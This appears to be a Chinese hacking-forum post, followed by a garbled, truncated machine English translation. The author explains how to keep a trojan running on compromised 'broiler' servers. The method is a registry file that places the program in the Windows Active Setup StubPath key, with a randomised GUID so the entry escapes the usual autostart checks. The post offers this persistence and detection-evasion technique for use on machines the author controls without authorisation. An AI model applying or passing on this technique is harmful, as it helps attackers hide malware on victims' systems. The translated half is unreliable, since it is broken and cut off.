ActiveX 自启动方式有很多木马在使用，好象国内的比较少，最近突然多起来了



由于我一向在 网吧上网，内网肉鸡通常是上不了线的，所以需要端口映射，于是我在几台服务器肉鸡上装了 Vidc 这个东西，可惜 vidc 1.2 服务端是不会自己启动的，所以就需要动手改造。随便研究了一下，呵呵。安装为服务？注册表Run键？



[attach=130]



可惜现在是个鸟，无论 老鸟还是菜鸟都喜欢去查看这几个地方，加是什么 优化大师 的帮助，很快，改造的木马over了，其实我们不妨使用下 ActiveX 详细信息看下面的代码



Windows Registry Editor Version 5.00





[HKEY_LOCAL_MACHINESOFTWAREMicrosoftActive SetupInstalled Components{4A202188-F04D-11cf-64CD-31FFAFEECF20}]

"StubPath"="sunray.exe"





其中的 {4A202188-F04D-11cf-64CD-31FFAFEECF20} 即为启动键值，可以随机替换为合理的值



把上面的代码保存为 run.reg 导入注册表，每次开机就会启动 系统目录下的 sunray.exe -There are many ways since the launch of ActiveX Trojan in use, if the domestic is relatively small, the recent sudden increased recently in



As I have always been in the cafe Internet, Intranet chickens usually are not able to line, so the need for port mapping, so I have a few servers broiler upload a Vidc this thing, unfortunately vidc 1.2 server will not start their own, so we need to Hands-transformation. Casual study a little, He He. Installed as a service? Registry Run keys?



[attach = 130]



Unfortunately, now is a bird or a rookie like both fields and then go to see these places, plus What is the optimal master s help, quickly transform the Trojans over, but in fact we may use the following ActiveX For more information see the following code



Windows Registry Editor Version 5.00





[HKEY_LOCAL_MACHINESOFTWAREMicrosoftActive SetupInstalled Components (4A202188-F04D-11cf-64CD-31FFAFEECF20)]

"StubPath" = "sunray.exe"





Where (4A202188-F04D-11cf-64CD-31FFAFEECF20) shal